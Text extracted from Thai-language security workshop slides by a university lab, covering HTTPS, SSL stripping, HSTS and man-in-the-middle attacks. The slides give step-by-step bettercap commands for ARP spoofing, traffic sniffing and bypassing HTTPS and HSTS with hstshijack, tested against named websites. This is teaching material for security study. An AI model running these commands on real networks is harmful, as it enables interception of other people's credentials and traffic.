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ที่มาและความส าคัญ

HTTPS เข้ามาแก้ปัญหา HTTP
HTTPS ในปี ค.ศ 1994 → SSL
TLS 1.3 → RFC 5246 ในปี ค.ศ 2018

HTTPS ข้อมลูทีม่กีารเข้ารหัส (encrypt)HTTP ข้อมลูอยูใ่นรูปแบบ Plain Text
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HTTPS
IETF, RFC 5246 

Browser
Web Server

HTTPS

Transport Layer Security (TLS)

Data Encryption
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ปัญหา HTTPS

ในปี ค.ศ 2009 Moxie Marlinspike
• SSL Strip
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ServerVictim

Attacker



เทคโนโลยีที่ถูกเสนอเพื่อแก้ปัญหา SSL Strip
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HTTP Strict Transport Security (HSTS)
▪ โดย J. Hodges, C. Jackson, A. Barth ในปี ค.ศ 2012
▪ RFC 6797 , (IETF)

HSTS จะสนใจแค่นี้

▪ HTTPS — — Request — -> Web Server
▪ HTTPS < — —Response — — Web Server

การขอ Request ระหว่าง Client กับ Web Server จะเป็นลักษณะดังนี้



ISAN Lab 
October 2019

Information Security and Advanced Networks (ISAN)

Faculty of Informatics, Mahasarakham University

ผลลัพธ์การวิเคราะห์ปัญหา Web Security ในประเทศไทย

▪ Internet Banking
▪ E-commerce
▪ ระบบเซอร์วิสที่ส ำคัญต่ำง ๆ 

ของประเทศไทย
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การโจมตีแบบแทรกกลางการสื่อสาร
MITM (MAN IN THE MIDDLE ATTACK )

Resources eg: internetMan In The Middle Attack 

เป็นเทคนิคกำรแทรกกลำงกำรสื่อสำรในระบบเครือข่ำย LAN, Wi-Fi Access Point 
เพื่อสอดแนมหรือดักจับข้อมูลที่ส ำคัญๆ ในระบบเครือข่ำย

ATTACKER
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APR Request

Who has 10.0.2.4

B

C

Router
IP: 10.0.2.1
MAC: 00:11:22:33:44:10

IP: 10.0.2.3
MAC: 00:11:22:33:44:20

IP: 10.0.2.4
MAC: 00:11:22:33:44:30

IP: 10.0.2.5
MAC: 00:11:22:33:44:40

ATTACKER

VICTIM

ARP (ADDRESS RESOLUTION PROTOCOL)
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B

C

Router
IP: 10.0.2.1
MAC: 00:11:22:33:44:10

IP: 10.0.2.3
MAC: 00:11:22:33:44:20

IP: 10.0.2.4
MAC: 00:11:22:33:44:30

IP: 10.0.2.5
MAC: 00:11:22:33:44:40

ATTACKER

VICTIM

ARP (ADDRESS RESOLUTION PROTOCOL)
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Access Point
Resources 
eg: internet

ภาพการสื่อสารในเครือข่ายแบบปกติ

TYPICAL NETWORK
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Access Point
Resources 
eg: internet

I have the router’s
mac address

ATTACKER

ภาพการถูกปลอมแปลงการสื่อสารในระบบเครอืข่าย 
หรือการวางยาพิษในวงแลน 

ARP SPOOFING
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Access Point
Resources 
eg: internet

ATTACKER

Re
qu

es
ts Responses

การปลอมแปลงการสื่อสารในระบบเครือขา่ย หรือการวางยาพิษในวงแลน 
ARP SPOOFING
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WORKSHOP #1
NETWORK HACKING

ARP SPOOFING USING BETTERCAP

P ro f i l e

Kali Customized By ISAN_LAB



ขั้นตอนและค าสั่งการโจมตีด้วยเทคนิค ARP SPOOFING ATTACK

Access Point
Resources 
eg: internet

ATTACKER
Re

qu
es

ts Responses

ภาพการถูกโจมตีด้วยเทคนิค ARP SPOOFING ATTACK
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ARP SPOOFING ATTACK ใช้ค าสั่ง Command ดังต่อไปนี้

ภาพรวมค าสั่งการโจมตีด้วยเทคนิค ARP SPOOFING โดยใช้ BETTERCAP
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ARP SPOOFING ATTACK ใช้ค าสั่ง Command ดังต่อไปนี้

1) ใช้ค ำสั่ง bettercap –iface eth0 เพื่อท ำกำรเลือกอุปกรณ์อินเตอร์เฟซ

2) ใช้ค ำสั่ง net.probe on เพื่อท ำกำรค้นหำโฮสต์เครือข่ำยเดียวกันโดยพ้ืนฐำนจะส่งเป็นแพ็คเก็ต UDP 
แบบสุ่มไปยังทุก IP ที่เป็นไปได้ในซับเน็ต สำมำรถเรียกดูผลลัพธ์โดยใช้ค ำสั่ง net.show จะแสดงผลแบบเรียลไทม์

3) ใช้ค ำสั่ง set arp.spoof.fullduplex true เพื่อท ำกำรหลอกเกตเวย์ว่ำเครื่องผู้โจมตีนั้นเป็นเครื่องเหย่ือ 
และหลอกเครื่องเหย่ือว่ำเครื่องผู้โจมตีเป็นเกตเวย์

4) ใช้ค ำสั่ง set arp.spoof.targets 192.168.65.130 เพื่อท ำกำรหนด IP เป้ำหมำยที่จะโจมตี

5) ใช้ค ำสั่ง arp.spoof on เพื่อท ำกำร start ARP spoofer เริ่มกระบวนกำรปลอมแปลง

6) ใช้ค ำสั่ง net.sniff on เพื่อท ำกำรดักจับข้อมูลในเครือข่ำยอินเทอร์เน็ต

รายละเอียดการใช้งาน
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เว็บไซต์ที่ใช้ทดสอบ ARP SPOOFING

Link: www.vulnweb.com

ตัวอย่างเว็บไซต์ www.vulnweb.com ที่ใช้ทดสอบ ARP Spoofing Attack
20
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WORKSHOP #2
NETWORK HACKING

BYPASSING HTTPS 
USING BETTERCAP

Kali Customized By ISAN_LAB

P ro f i l e



การโจมตีด้วยเทคนิค SSL STRIPPING ATTACK 

ServerVictim

Attacker

ภาพเว็บไซต์ที่ถูกโจมตีด้วย SSL Stripping Attack ดักจับข้อมูลอยู่ในรูป Clear Text
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การโจมตีเว็บไซต์เพื่อ Bypassing HTTPS
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ใช้ค าสั่งการโจมตีเว็บไซต์เพื่อ Bypassing HTTPS

ภาพรวมค าสั่งการโจมตีเพื่อ Bypassing HTTPS โดยใช้ BETTERCAP
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ใช้ค าสั่งการโจมตีเว็บไซต์เพื่อ Bypassing HTTPS

# bettercap -iface eth0

# net.probe on

# set arp.spoof.fullduplex true

# set arp.spoof.targets IP Victim

# arp.spoof on

# set net.sniff.local true 

# net.sniff on

# hstshijack/hstshijack
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เว็บไซต์ที่ใช้ทดสอบ Bypassing HTTPS
-
www.stackoverflow.com
- www.linkedin.comท าการทดสอบที่เครื่อง Client (Windows 10)
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เว็บไซต์ที่ใช้ทดสอบ Bypassing HTTPS

ผลลัพธ์การดักจับข้อมูลเว็บไซต์ stackoverflow.com ด้วย Bettercap
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WORKSHOP #3
NETWORK HACKING

BYPASSING HTTPS AND HSTS
USING BETTERCAP

Kali Customized By ISAN_LAB

P ro f i l e



การโจมตีเพ่ือ Bypassing HTTPS และ HSTS
โดยใช้เทคนิคการโจมตี Homograph Attack

DNS (Domain Name System)

TLD (Top-Level Domain)
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